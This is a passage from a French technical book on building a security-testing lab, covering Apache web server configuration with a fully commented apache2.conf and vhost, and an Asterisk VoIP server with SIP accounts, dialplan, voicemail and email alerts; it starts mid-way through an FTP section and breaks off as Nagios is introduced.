Nous allons pour cela aller dans le fichier /etc/fstab afin d’ajouter une ligne par utilisateur.
fasm#nano /etc/fstab
/home/pour_tous /home/codej/pour_tous auto bind,defaults 0 0
Nous pouvons maintenant monter ce répertoire :
fasm#mount /home/codej/pour_tous
Nous pouvons nous connecter maintenant avec un client FTP quelconque, par exemple
FileZilla, pour vérifier le bon fonctionnement de notre serveur FTP.
Nous sommes connectés au serveur FTP. Nous pouvons maintenant mettre à disposition les
fichiers que nous voulons partager.
Serveur web
Dans les challenges de sécurité informatique, les épreuves les plus réussies et les mieux
appréciées sont les épreuves web (détection des failles web).
Dans un prochain chapitre, nous verrons comment mettre en place ces épreuves afin de tester
notre capacité à les résoudre. Pour cela, nous avons besoin d’un serveur web. Le plus célèbre
est Apache, il est produit par la « Apache Software Foundation ».
1. Installation fasm# aptitude install apache2
2. Configuration
Une configuration minimale et beaucoup plus simple sera expliquée dans le prochain chapitre.
Nous allons donc ici détailler une installation un peu plus compliquée mais plus adaptable à
nos besoins.
Tous les fichiers de configuration sont dans le répertoire /etc/apache2.
Si nous exécutons une commande ls dans ce répertoire, nous trouverons 9 fichiers qui ont
chacun une utilité détaillée ci-dessous et qui est une traduction de la documentation officielle :
httpd.conf est le fichier utilisé par Apache1, il est conservé vide dans Apache2 pour
assurer la rétrocompatibilité. Il ne nous servira pas.
envvars est utilisé pour définir des variables d’environnement propres à Apache.
ports.conf contient la directive Listen qui spécifie les adresses et les ports d’écoute.
apache2.conf est le fichier principal de configuration car c’est à partir de lui que tous
les autres fichiers sont chargés.
conf.d est un répertoire qui contient plusieurs petits fichiers qui seront analysés par
Apache. Le seul fichier pour le moment est charset, qui spécifie l’encodage à utiliser
par défaut.
mods-available contient la liste des modules d’Apache installés.
mods-enabled contient celle des modules utilisés.
sites-available contient la liste des vhosts installés.
sites-enabled contient celle des vhosts utilisés.
Nous pouvons commencer par ouvrir le fichier ports.conf :
Pour restreindre l’utilisation à une ou plusieurs interfaces, il nous suffit de les spécifier,
suivies du port. Il faut une directive Listen par interface.
Si le serveur est connecté avec une IP Internet et que nous souhaitons écouter sur cette
interface, nous ajouterons la directive Listen IP_Internet.
Si le serveur est connecté avec une IP locale et que nous souhaitons écouter sur cette
interface, nous ajouterons la directive Listen IP_locale.
Si nous souhaitons écouter sur un certain port, nous rajouterons Le_Port. Il est aussi
possible de ne spécifier que le port et de ne pas renseigner l’adresse IP : Listen
Le_Port.
Nous pourrons donc définir les interfaces en ouvrant le fichier ports.conf et en ajoutant :
#interface (local ou internet) connectée sur port standard
Listen X.X.X.X:80
# toutes les interfaces connectées sur port SSL
Listen 443
Le prochain fichier à éditer pour la configuration est le fichier apache2.conf.
L’explication de cette configuration se trouve dans le fichier ci-dessous :
# Répertoire racine du serveur
ServerRoot "/etc/apache2"
# Fichier de verrouillage (lock) du serveur
# IL DOIT SE TROUVER SUR LE DISQUE LOCAL
#<IfModule !mpm_winnt.c>
#<IfModule !mpm_netware.c>
LockFile /var/lock/apache2/accept.lock
#</IfModule>
#</IfModule>
# Fichier du PID: endroit où, à son démarrage, Apache doit stocker
# son numéro d’identification de processus
PidFile /var/run/apache2.pid
# Délai d’attente dépassé : nombre de secondes avant de recevoir
# et d’envoyer un message de "Délai d’attente dépassé" (timeout)
Timeout 300
# Connexion persistante : alloue ou non les requêtes persistantes
# (plus d’une requête par connexion).
# Mettre à "Off" pour désactiver.
KeepAlive On
# Nombre maximum de requêtes allouées durant une connexion persistante.
# 0 = non limité
# Il est recommandé de garder ce nombre assez haut pour des
# performances maximales
MaxKeepAliveRequests 100
# Nombre de secondes d’attente pour la prochaine requête
# d’un même client sur une même connexion avant un timeout
KeepAliveTimeout 15
# Configuration du mpm chargé
<IfModule mpm_prefork_module>
# Nombre de processus serveurs fils à créer au démarrage.
StartServers 5
# Nombre minimum de processus en attente d’intercepter des requêtes
MinSpareServers 5
# Nombre maximum de processus en attente
MaxSpareServers 15
# Nombre maximum de processus fils créés
# pour intercepter les requêtes simultanément
MaxClients 150
# Limite le nombre de requêtes qu’un processus fils intercepte
# durant son temps de vie. Si 0 alors le processus n’expirera jamais.
MaxRequestsPerChild 0
</IfModule>
<IfModule mpm_worker_module>
StartServers 2
MaxClients 150
# Nombre minimum de processus en attente d’intercepter les pics
# de requêtes
MinSpareThreads 25
# Nombre maximum de processus en attente
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
# Utilisateur et Group sous lesquels les processus du serveur
# seront lancés
User www-data
Group www-data
# Fichier de restriction des accès
# non conseillé, préférer les directives internes au fichier
# de configuration
# voir [[http://httpd.apache.org/docs/2.2/howto/htaccess.html]]
AccessFileName .htaccess
# Les lignes suivantes empêchent les fichiers .htaccess et .htpasswd
# d’être vus par les clients Web (i.e. les navigateurs).
<Files ~ "ˆ\.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>
# Restriction de la racine du serveur
<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory>
# Fichier contenant la liste des conversions des extensions de fichiers
# vers le type de contenu.
# par défaut ce fichier est relié au contenu enregistré à l’IANA.
# http://www.iana.org/assignments/media-types/index.html.
TypesConfig /etc/mime.types
# définit le type par défaut des fichiers dont le type ne peut être
# déterminé par le serveur.
# Il convient de le mettre à "none" afin de ne pas fournir
# d’informations erronées.
DefaultType none
# Active la résolution DNS pour les noms d’hôtes
HostnameLookups Off
# chemin du fichier de log des erreurs du serveur.
ErrorLog /var/log/apache2/error.log
# niveau de log du serveur
# emerg Messages Urgents - Le système est inutilisable.
# alert Messages d’actions qui doivent être effectuées
# immédiatement.
# crit Messages critiques.
# error Messages d’erreurs.
# warn Messages d’avertissement.
# notice Messages normaux mais qui ont une utilité
# pour l’administrateur.
# info Messages d’informations.
# debug Messages de débogage
LogLevel warn
# format des lignes contenues dans les logs
# %a Adresse ip distante.
# %A Adresse ip local.
# %B Taille de la réponse en octets, excluant l’en-tête HTTP.
# %b Taille de la réponse en octets, excluant l’en-tête HTTP
# au format CLF.
# %{Foobar}C Contenu du cookie "Foobar" de la requête envoyée au
serveur.
# %D Le temps mis à servir la requête.
# %{FOOBAR}e Contenu de la variable d’environnement "FOOBAR".
# %f Nom du fichier.
# %h Hôte distant.
# %H Le protocole demandé.
# %{Foobar}i Le contenu de "Foobar": Ligne(s) d’en-tête de la requête
# envoyée au serveur.
# %l nom du fichier de log distant (de identd, s’il est
fourni).
# cela retournera un tiret tant que //mod_ident// n’est
# pas présent et //IdentityCheck// n’est pas mis à ON.
# %m Méthode de la requête.
# %{Foobar}n Contenu de la note "Foobar" provenant d’un autre module.
# %{Foobar}o Le contenu de "Foobar": Ligne(s) d’en-tête dans la réponse.
# %p Port canonique du serveur qui sert la réponse.
# %P Id du processus fils qui a servi la requête.
# %{format}P Id du processus ou du thread fils qui a servi la requête.
# Les formats valides sont pid, tid, et hextid.
# hextid nécessite APR 1.2.0 ou supérieur.
# %q Chaînes de la requête (commençant avec un ? si une chaîne
# de requête existe, sinon une chaîne vide).
# %r Première ligne de la requête.
# %s Statut. Pour les requêtes redirigées en interne, ceci est
# la requête originale --- %>s pour la dernière.
# %t Heure à laquelle la requête a été reçue (format standard
# anglais mois jour année).
# %{format}t L’heure, au format précisé, qui doit être dans les formats
# de strftime(3). (potentiellement localisé).
# %T Le temps mis pour répondre à la requête.
# %u Utilisateur distant (de l’authentification ; peut être
faux
# si le code de retour de statut (%s) est 401)
# %U Url demandée, n’inclut aucune chaîne de requête.
# %v Nom canonique de ServerName du serveur qui répond à
# la requête.
# %V Nom du serveur en fonction du paramètre UseCanonicalName.
# %X Statut de la connexion une fois la réponse envoyée.
# X = connexion annulée avant la réponse complète.
# + = la connexion peut être maintenue après l’envoi de
# la réponse.
# - = la connexion sera fermée après l’envoi de la réponse.
# %I Octets reçus, incluant l’en-tête et la requête, ne peut
être
# nul. Vous devez activer //mod_logio// pour l’utiliser.
# %O Octets envoyés, incluant l’en-tête, ne peut être nul.
# Vous devez activer //mod_logio// pour l’utiliser.
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# en-tête envoyé au client à propos du serveur
# Prod Server: Apache
# Major Server: Apache/2
# Minor Server: Apache/2.0
# Min Server: Apache/2.0.41
# OS Server: Apache/2.0.41 (Unix)
# Full (ou non spécifié) Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2
ServerTokens Prod
# Pied de page renvoyé par le serveur
# utile pour déterminer quel serveur proxy génère une erreur, dans le cas
# où plusieurs serveurs sont utilisés
ServerSignature Off
# Inclusion des fichiers, contenus dans le dossier des mods, qui sont
# activés
Include /etc/apache2/mods-enabled/*.load
Include /etc/apache2/mods-enabled/*.conf
# Inclusion de l’ancien fichier de configuration d’Apache
# à des fins de compatibilités ascendantes.
Include /etc/apache2/httpd.conf
# Inclusion du fichier de configuration des adresses et ports
# sur lesquels le serveur sera à l’écoute
Include /etc/apache2/ports.conf
# Inclusion d’autres fichiers de configuration
Include /etc/apache2/conf.d/
# inclusion des configurations des sites actifs
Include /etc/apache2/sites-enabled/
# Directive des alias
<IfModule alias_module>
# alias des icônes d’Apache
# nom de l’alias, répertoire vers lequel pointe l’alias
Alias /icons "/usr/share/apache2/icons/"
<Directory "/usr/share/apache2/icons">
Options None
AllowOverride None
Order allow,deny
Allow from all
</Directory>
# alias pour awstats
Alias /awstats-icon "/usr/share/awstats/icon"
ScriptAlias /awstats "/usr/lib/cgi-bin/"
<Directory "/usr/share/awstats/icon">
Options None
#Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</IfModule>
# Types images d’icône
<IfModule mod_autoindex.c>
IndexOptions FancyIndexing VersionSort HTMLTable NameWidth=*
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*
AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core
AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ˆˆDIRECTORYˆˆ
AddIcon /icons/blank.gif ˆˆBLANKICONˆˆ
DefaultIcon /icons/unknown.gif
ReadmeName README.html
HeaderName HEADER.html
IndexIgnore .??* *~ *# RCS CVS *,v *,t
</IfModule>
# Type langages
<IfModule mod_mime.c>
AddType application/x-compress .Z
AddType application/x-gzip .gz .tgz
AddLanguage ca .ca
AddLanguage cs .cz .cs
AddLanguage da .dk
AddLanguage de .de
AddLanguage el .el
AddLanguage en .en
AddLanguage eo .eo
AddLanguage es .es
AddLanguage et .et
AddLanguage fr .fr
AddLanguage he .he
AddLanguage hr .hr
AddLanguage it .it
AddLanguage ja .ja
AddLanguage ko .ko
AddLanguage ltz .ltz
AddLanguage nl .nl
AddLanguage nn .nn
AddLanguage no .no
AddLanguage pl .po
AddLanguage pt .pt
AddLanguage pt-BR .pt-br
AddLanguage ru .ru
AddLanguage sv .sv
AddLanguage zh-CN .zh-cn
AddLanguage zh-TW .zh-tw
</IfModule>
# Langue prioritaire pour les pages de réponses (choisir l’ordre
# des langues des pages)
<IfModule mod_negotiation.c>
LanguagePriority fr ca cs da de el eo es et en he hr it ja ko ltz nl
nn no pl pt pt-BR ru sv zh-CN zh-TW
ForceLanguagePriority Prefer Fallback
</IfModule>
# Type d’encodage de caractères
<IfModule mod_mime.c>
AddCharset us-ascii .ascii .us-ascii
AddCharset ISO-8859-1 .iso8859-1 .latin1
AddCharset ISO-8859-2 .iso8859-2 .latin2 .cen
AddCharset ISO-8859-3 .iso8859-3 .latin3
AddCharset ISO-8859-4 .iso8859-4 .latin4
AddCharset ISO-8859-5 .iso8859-5 .cyr .iso-ru
AddCharset ISO-8859-6 .iso8859-6 .arb .arabic
AddCharset ISO-8859-7 .iso8859-7 .grk .greek
AddCharset ISO-8859-8 .iso8859-8 .heb .hebrew
AddCharset ISO-8859-9 .iso8859-9 .latin5 .trk
AddCharset ISO-8859-10 .iso8859-10 .latin6
AddCharset ISO-8859-13 .iso8859-13
AddCharset ISO-8859-14 .iso8859-14 .latin8
AddCharset ISO-8859-15 .iso8859-15 .latin9
AddCharset ISO-8859-16 .iso8859-16 .latin10
AddCharset ISO-2022-JP .iso2022-jp .jis
AddCharset ISO-2022-KR .iso2022-kr .kis
AddCharset ISO-2022-CN .iso2022-cn .cis
AddCharset Big5 .Big5 .big5 .b5
AddCharset cn-Big5 .cn-big5
# Pour le russe, plus d’un charset est utilisé (dépend du client
# le plus souvent)
AddCharset WINDOWS-1251 .cp-1251 .win-1251
AddCharset CP866 .cp866
AddCharset KOI8 .koi8
AddCharset KOI8-E .koi8-e
AddCharset KOI8-r .koi8-r .koi8-ru
AddCharset KOI8-U .koi8-u
AddCharset KOI8-ru .koi8-uk .ua
AddCharset ISO-10646-UCS-2 .ucs2
AddCharset ISO-10646-UCS-4 .ucs4
AddCharset UTF-7 .utf7
AddCharset UTF-8 .utf8
AddCharset UTF-16 .utf16
AddCharset UTF-16BE .utf16be
AddCharset UTF-16LE .utf16le
AddCharset UTF-32 .utf32
AddCharset UTF-32BE .utf32be
AddCharset UTF-32LE .utf32le
AddCharset euc-cn .euc-cn
AddCharset euc-gb .euc-gb
AddCharset euc-jp .euc-jp
AddCharset euc-kr .euc-kr
#Not sure how euc-tw got in - IANA doesn’t list it???
AddCharset EUC-TW .euc-tw
AddCharset gb2312 .gb2312 .gb
AddCharset iso-10646-ucs-2 .ucs-2 .iso-10646-ucs-2
AddCharset iso-10646-ucs-4 .ucs-4 .iso-10646-ucs-4
AddCharset shift_jis .shift_jis .sjis
AddHandler type-map var
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
</IfModule>
<IfModule mod_setenvif.c>
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0
force-response-1.0
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0
BrowserMatch "Microsoft Data Access Internet Publishing
Provider" redirect-carefully
BrowserMatch "MS FrontPage" redirect-carefully
BrowserMatch "ˆWebDrive" redirect-carefully
BrowserMatch "ˆWebDAVFS/1.[012]" redirect-carefully
BrowserMatch "ˆgnome-vfs/1.0" redirect-carefully
BrowserMatch "ˆXML Spy" redirect-carefully
BrowserMatch "ˆDreamweaver-WebDAV-SCM1" redirect-carefully
</IfModule>
# module d’information sur le statut du serveur
<IfModule mod_status.c>
<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Location>
</IfModule>
# module des informations du serveur
<IfModule mod_info.c>
<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Location>
</IfModule>
Le fichier sites-available contient les différents vhosts que nous utiliserons.
Les vhosts nous permettent de définir plusieurs sites sur une même machine, le plus souvent
des sous-domaines (www.domain.tld, machin.domain.tld…), mais aussi d’autres domaines
(domain.tld, autredomain.tld…).
Nous pouvons donc ouvrir le fichier /etc/apache2/sites-available/default et le configurer
comme suit :
# NameVirtualHost définit les IPs à utiliser par apache,
# * signifie qu’on utilise n’importe quelle IP pour accéder au serveur
# 127.0.0.1 (boucle locale), 192.168.x.x (ip reseau local), ou une IP
# externe.
# Cette directive est en dehors du vhost, on pourrait donc la déplacer
# dans apache2.conf.
# Dans tous les cas, si elle est définie à *, elle ne doit pas être
# reprise dans les autres vhosts.
NameVirtualHost *:80
# Le vhost proprement dit : il est compris dans un bloc <VirtualHost>.
# Ces blocs définissent la "portée" de la validité des directives qui
# y sont définies.
# Le * derrière VirtualHost définit ici que le vhost est valable pour
# toutes les IP sur lesquelles Apache écoute.
<VirtualHost domain.tld:80>
# ServerName définit le nom utilisé pour le vhost. Mettez le nom
# de l’hôte du domaine
ServerName www.domain.tld
# ServerAlias définit les autres sous-domaines pour lesquels le
# serveur répondra.
ServerAlias domain.tld *.domain.tld
# ServerAdmin vous permet de spécifier un e-mail à utiliser en cas de
# problème, sur une page d’erreur 404 par exemple.
ServerAdmin [email protected]
# DocumentRoot définit le dossier racine dans lequel seront stockés
# les fichiers du site.
DocumentRoot /var/www/htdocs
# Directory définit les options par défaut du répertoire
<Directory /var/www/htdocs>
# Active les options:
# FollowSymLinks permet de suivre les liens symboliques.
# Indexes autorise le listage de fichiers
# d’un répertoire qui ne contient pas d’index.
Options Indexes FollowSymLinks MultiViews
# AllowOverride permet de surcharger certaines options
# en utilisant des fichiers .htaccess dans le
# répertoire du site.
AllowOverride None
# Droits par défaut
Order allow,deny
allow from all
# permet de rediriger les requêtes vers un fichier
# d’index précis
RedirectMatch ˆ/$ /index.php
</Directory>
ErrorLog /var/log/apache2/error.domain.tld.log
CustomLog /var/log/apache2/access.domain.tld.log combined
</VirtualHost>
Nous pouvons maintenant enregistrer ce fichier sous un autre nom (nouveau_host) et
supprimer default :
fasm#a2dissite default
et activer le nouveau fichier :
fasm#a2ensite nouveau_host
Nous pouvons éditer le fichier /etc/hosts et ajouter le « host » que nous venons de créer en
insérant cette ligne :
127.0.0.1 localhost nouveau_host
Pour finir, nous allons maintenant activer les scripts CGI. Pour cela, nous retournons dans le
fichier de conf apache2.conf et ajoutons :
ScriptAlias /cgi-bin/ /var/www/votre_site/cgi-bin/
<Directory /var/www/votre_site/cgi-bin/>
Options ExecCGI
AddHandler cgi-script cgi pl py
</Directory>
Notre configuration de base est terminée ; nous pouvons lancer le serveur :
fasm# /etc/init.d/apache2 start
Si la configuration est bonne, nous devrions avoir, en tentant de nous connecter avec un
navigateur web sur l’adresse IP de notre serveur, l’écran suivant :
Nous voici avec une machine virtuelle de plus configurée pour accueillir des sites web.
Serveur Asterisk
La VoIP (Voice over IP) est maintenant partout dans les entreprises et est donc une source de
failles potentielles. Il est nécessaire de pouvoir tester ces nouvelles technologies pour essayer
de comprendre leur fonctionnement et de voir ce qu’un pirate pourrait essayer de tenter pour
écouter une conversation, pénétrer le système ou altérer les données.
Nous allons donc installer Asterisk qui est le logiciel libre de VoIP le plus connu et le plus
utilisé.
1. Installation
Nous installons le paquet asterisk :
fasm#aptitude install asterisk
Une multitude de paquets seront installés, tous utiles pour asterisk.
2. Configuration
Deux fichiers seulement seront nécessaires pour un fonctionnement basique d’Asterisk : les
fichiers sip.conf et extensions.conf qui se trouvent dans /etc/asterisk/.
Nous nous contenterons de la configuration basique. Asterisk est très documenté et nous
pourrons aisément l’affiner si nous le souhaitons.
Les possibilités sont nombreuses, nous pourrons configurer un répondeur et un menu vocal
entre autres.
a. Sip.conf
Tous les comptes utilisateurs que nous voulons créer seront définis dans ce fichier. Nous n’en
déclarerons que deux pour cet exemple.
Supposons que le premier utilisateur est fasm et ajoutons la configuration ci-dessous dans le
fichier sip.conf :
[fasm]
type=friend
host=dynamic
user=fasm
secret=acissi
context=default
[fasm] est le début du bloc SIP. Les informations présentes après cette ligne concerneront le
compte de l’utilisateur fasm.
type=friend permet d’appeler et d’être appelé.
host=dynamic l’adresse IP du client est définie par DHCP. Si son IP était fixe, nous l’aurions
précisée ici.
user=fasm est le nom de l’utilisateur.
secret=acissi est le mot de passe en clair.
context=default est le contexte auquel le compte est associé dans le dialplan (servira pour le
fichier extensions.conf), le dialplan étant une suite d’instructions numérotées, que nous
verrons un peu plus loin dans le chapitre, qui seront exécutées dans un ordre précis.
Notez qu’en utilisant secret, le mot de passe est stocké en clair. Il est préférable d’utiliser
md5secret, qui, comme son nom l’indique, utilisera une empreinte md5. Voici la structure
nécessaire pour la génération du hash :
<user>:<realm>:<secret>
Par défaut, le realm est asterisk. Pour générer l’empreinte MD5 de l’utilisateur fasm qui a
pour mot de passe acissi avec bash, nous ferons donc :
$ echo -n "fasm:asterisk:acissi" | md5sum
43247d05bb29adf5e9c8aef26992fcfe -
Nous pouvons bien sûr affiner la configuration d’Asterisk pour ce fichier mais le but est ici
d’avoir une base fonctionnelle rapidement. Nous nous arrêterons donc là pour la configuration
de l’utilisateur fasm.
Nous pouvons faire de même pour un autre utilisateur.
[codej]
type=friend
host=dynamic
user=codej
secret=acissi
context=default
Nous pouvons passer à la configuration du deuxième fichier.
b. Extensions.conf
Ce fichier va nous permettre de définir le plan de la numérotation qui est appelé dialplan,
c’est-à-dire que l’on va définir les actions qui seront effectuées quand on composera un
numéro.
Cela sera de la forme :
[default]
exten => 555,1,Dial(SIP/fasm)
Le context ([default]) est une zone où la portée des actions est limitée.
Cela permet par exemple d’attribuer deux numéros identiques à des utilisateurs différents,
l’un ou l’autre sera contacté suivant le contexte défini dans le compte SIP de l’utilisateur
cherchant à les joindre.
Le fichier de configuration est assez difficile à lire au premier abord car il est très documenté.
Il nous faudra prêter attention à l’endroit où nous ajouterons la ligne ci-dessous. Il faudra bien
se trouver dans la partie [default].
La ligne contenant exten nous montre comment enregistrer une extension.
Nous commençons par le mot-clé exten suivi d’une flèche =>.
555 est le numéro que nous souhaitons associer, c’est le numéro que nous composerons sur le
téléphone.
1 est le numéro de séquence. Nous pouvons en effet ordonner plusieurs actions pour une
même extension, nous verrons cela un peu plus loin.
Dial(SIP/fasm) est l’action à effectuer. Nous appelons ici la fonction Dial(), qui déclenche
l’appel, avec pour argument SIP/fasm pour appeler le compte SIP fasm. Ici donc, pour tous
les utilisateurs du contexte default, composer le 555 appellera fasm.
Si nous souhaitons, avant d’appeler la personne, attendre quelques secondes, par exemple 3
secondes, nous allons chaîner les instructions :
[default]
exten => 100,1,Dial,wait(3)
exten => 100,2,Dial,SIP/fasm
Nous avons dans l’exemple ci-dessus une suite d’actions (1 et 2) mais nous pouvons chaîner
comme cela plusieurs actions, par exemple :
exten => 555,1,Answer
exten => 555,2,Playback(tt-weasels)
exten => 555,3,Voicemail(44)
exten => 555,4,Hangup
Quand 555 est appelé, Asterisk répond de lui-même (Answer) et joue une musique (tt-
weasels) et nous donne la possibilité de laisser un message (Voicemail) sur la boîte volale 44
et raccroche.
Les possibilités sont multiples créer un serveur vocal, rediriger les appels... Nous pouvons
approfondir la configuration si besoin car Asterisk est bien documenté, que ce soit sur Internet
ou en ouvrages aux Éditions ENI.
Revenons à présent à notre cas avec deux utilisateurs :
[default]
exten => 555,1,Dial(SIP/fasm)
exten => 556,1,Dial(SIP/codej)
Nous avons fait des changements dans les configurations des fichiers. Il nous faut à présent
que le système prenne en compte ces modifications.
Pour toute modification de sip.conf et de extensions.conf, il est nécessaire qu’Asterisk
recharge ces fichiers. Pour cela, nous nous connectons sur la console d’Asterisk :
# asterisk -rvvvvdddd (les v pour verbose, les d pour debug)
Puis nous rechargeons Asterisk :
reload
La commande suivante permet de recharger uniquement le dialplan (extensions.conf) :
dialplan reload
À ce moment-là, le serveur est opérationnel. fasm et codej possèdent un compte SIP et un
numéro associé.
3. Ajout de fonctions
Le transfert d’appel et la mise en attente sont souvent directement implémentés dans les
softphone (logiciels de téléphonie VoIP) et les terminaux SIP. Les manipulations suivantes
permettent de les activer directement dans Asterisk, ce qui permet de s’affranchir d’un
logiciel ou matériel particulier.
a. Transfert d’appel
Nous devons activer les tonalités DTMF (Dual-Tone Multi-Frequency) à la fois côté client et
côté serveur.
Le DTMF est une combinaison de fréquences utilisée pour la téléphonie moderne. Il est utilisé
quand nous composons les numéros de téléphone et il a permis la création des premiers
serveurs vocaux interactifs.
Pour Asterisk, il suffit d’ajouter la ligne suivante dans sip.conf, dans le contexte [general] ou
pour chaque utilisateur :
dtmfmode = rfc2833
Nous devrons regarder du côté des paramètres SIP du côté client pour activer cette option.
Pour activer le transfert d’appel, il suffit tout simplement de modifier les paramètres de la
fonction Dial dans extensions.conf :
exten => 555,2,Dial(SIP/fasm,,tT)
Après SIP/fasm, nous avons ajouté les options t et T qui autorisent l’appelé et l’appelant à
transférer l’appel.
Pour effectuer le transfert, il faut appuyer durant une communication sur le signe # (on entend
à ce moment-là « transfert ») suivi du numéro sur lequel on souhaite transférer l’appel.
b. Mise en attente
La mise en attente permet de mettre une communication en pause, ce qui peut parfois être très
utile pour ne pas perdre un client. Cela est très utile, car de ce fait, la ligne est libérée. Nous
pouvons alors composer un autre numéro ou récupérer l’appel sur un autre poste.
Il est là aussi nécessaire d’activer les tonalités DTMF.
Pour activer la mise en attente, il suffit d’ajouter la ligne suivante dans le contexte [default] du
fichier extensions.conf :
include=>parkedcalls
Pour mettre son interlocuteur en attente lors d’un appel, il faut composer le #700. Le serveur
attribue un numéro au sein du parc d’attente. On peut alors raccrocher, changer de poste et
reprendre l’appel en composant le numéro annoncé par le serveur.
c. Messagerie vocale
Si nous voulons que la voix de la messagerie soit en français, il faut le spécifier lors de la
compilation d’Asterisk à l’aide de la commande :
fasm$ make menuselect
Il faut ensuite ajouter dans le contexte [general] de sip.conf la ligne suivante :
language=fr
Nous pouvons créer ensuite une boîte vocale dans le fichier /etc/asterisk/voicemail.conf, dans
le contexte [default] :
100 => 1010,fasm, [email protected]
100 est le numéro de téléphone auquel on associe la boîte vocale.
1010 est le mot de passe de la messagerie.
Nous avons ensuite le nom de l’utilisateur ainsi que son adresse e-mail. L’e-mail servira à
l’alerter en cas de réception de message vocal, à condition qu’un MTA (Mail Transfert Agent)
soit correctement configuré comme postfix ou autre.
La boîte vocale est maintenant déclarée, il reste à l’inclure dans extensions.conf pour qu’elle
soit utilisée :
exten => 100,1,Dial(SIP/fasm, 10)
exten => 100,2,Voicemail(b101)
exten => 100,3,Hangup
La première action effectuée lorsque nous composons le 100 est l’appel de fasm. Le 10 situé
après la virgule est la temporisation avant de passer à la deuxième séquence. C’est pour cela
que nous avions mis deux virgules de suite dans la section transfert d’appel.
Une fois le timeout atteint, nous basculons sur la deuxième séquence, qui est l’appel de la
boîte vocale avec la fonction Voicemail.
Enfin, nous raccrochons avec la fonction Hangup.
Dès que le principe est bien compris, nous nous rendons compte qu’il existe une logique et il
suffit de s’en imprégner pour commencer à apprécier Asterisk.
d. Configuration du MTA pour la messagerie vocale
Il est très intéressant de passer par une alerte e-mail lors de la réception d’un message :
l’utilisateur est alors au courant du fait qu’il a un message, et peut l’écouter directement en
pièce jointe.
Nous retrouvons cela dans nos box (Livebox, Freebox...) où il nous est possible de recevoir un
e-mail quand un message est laissé sur le répondeur.
Nous avons déjà renseigné l’adresse e-mail de l’utilisateur dans voicemail.conf, il ne nous
reste plus qu’à configurer un MTA.
Exim4 est le MTA par défaut de Debian, nous l’utiliserons donc.
Nous allons commencer par reconfigurer exim4 :
dpkg-reconfigure exim4-config
Type de configuration : Distribution directe par SMTP (site Internet)
Nom de courriel du système :le FQDN
Liste d’adresses IP où Exim sera en attente de connexions SMTP
entrantes : 127.0.0.1
Autres destinations dont le courriel doit être accepté : vide
Domaines à relayer : vide
Machines à relayer : vide
Faut-il minimiser les requêtes DNS (connexions à la demande) ? Non
Méthode de distribution du courrier local : Format "mbox" dans
/var/mail
Faut-il séparer la configuration dans plusieurs fichiers ? Non
Le serveur e-mail va se relancer. Asterisk sera dès lors capable d’envoyer des e-mails d’alerte
avec le message vocal en pièce jointe.
Nous avons fait un tour, rapide malgré les apparences, des possibilités réelles d’Asterisk.
Nous pouvons créer, gratuitement et chez nous, un serveur VoIP avec toutes les options
imaginables. Il nous est même possible d’avoir deux serveurs à des endroits différents et de
pouvoir nous appeler entre nous en passant par ces serveurs.
4. Configuration d’un client SIP
Nous devons d’abord installer Ekiga sur le client :
fasm#aptitude install ekiga
Ekiga est un logiciel de téléphonie SIP et de visioconférence.
Au premier lancement d’Ekiga, un assistant de configuration en 8 étapes va nous être proposé.
Nous suivrons ce guide.
Pour l’instant, rien de particulier, il suffit de cliquer sur Forward.
Nous indiquons ici le nom que nous voulons donner à ce compte.
Nous cochons la case afin de ne pas créer de compte sur ekiga.net, ce n’est pas notre but ici.
Nous placerons ici bien sûr nos identifiants (compte et mot de passe) qui ont été configurés
dans sip.conf dans les sections précédentes.
Nous avons choisi ici LAN mais tout dépend de l’utilisation que nous voulons en faire (réseau
LAN, DSL …). Pour notre laboratoire, nous serons donc en LAN.
Cette configuration par défaut convient très bien pour la carte son du PC client, nous devrons
éventuellement l’adapter suivant le matériel du PC client.
La configuration est maintenant terminée et il ne reste plus qu’à se connecter sur le serveur
(ici, 192.168.1.3).
Nous pouvons créer un compte manuellement en allant dans Edition - Comptes puis
Comptes - Ajouter un compte SIP, et ensuite remplir comme suit :
Le registraire sera l’adresse IP de notre serveur Asterisk.
Nous avons maintenant toutes les cartes en main pour effectuer des appels et, à l’aide d’outils
spécialisés dans la Kali Linux (anciennement BackTrack), tenter des « man in the middle »,
du sniffing et autres...
Nagios
Nous venons d’installer différents services, chacun dans des machines virtuelles différentes.
Mais comment, à part l’interface de Proxmox, surveiller le fonctionnement de ces dernières et
voir les éventuels changements dans l’état des services ? Il nous faut superviser tout cela,
Nagios est fait pour nous.
Nagios est l’outil idéal de surveillance : nous pourrons à tout moment visualiser par exemple
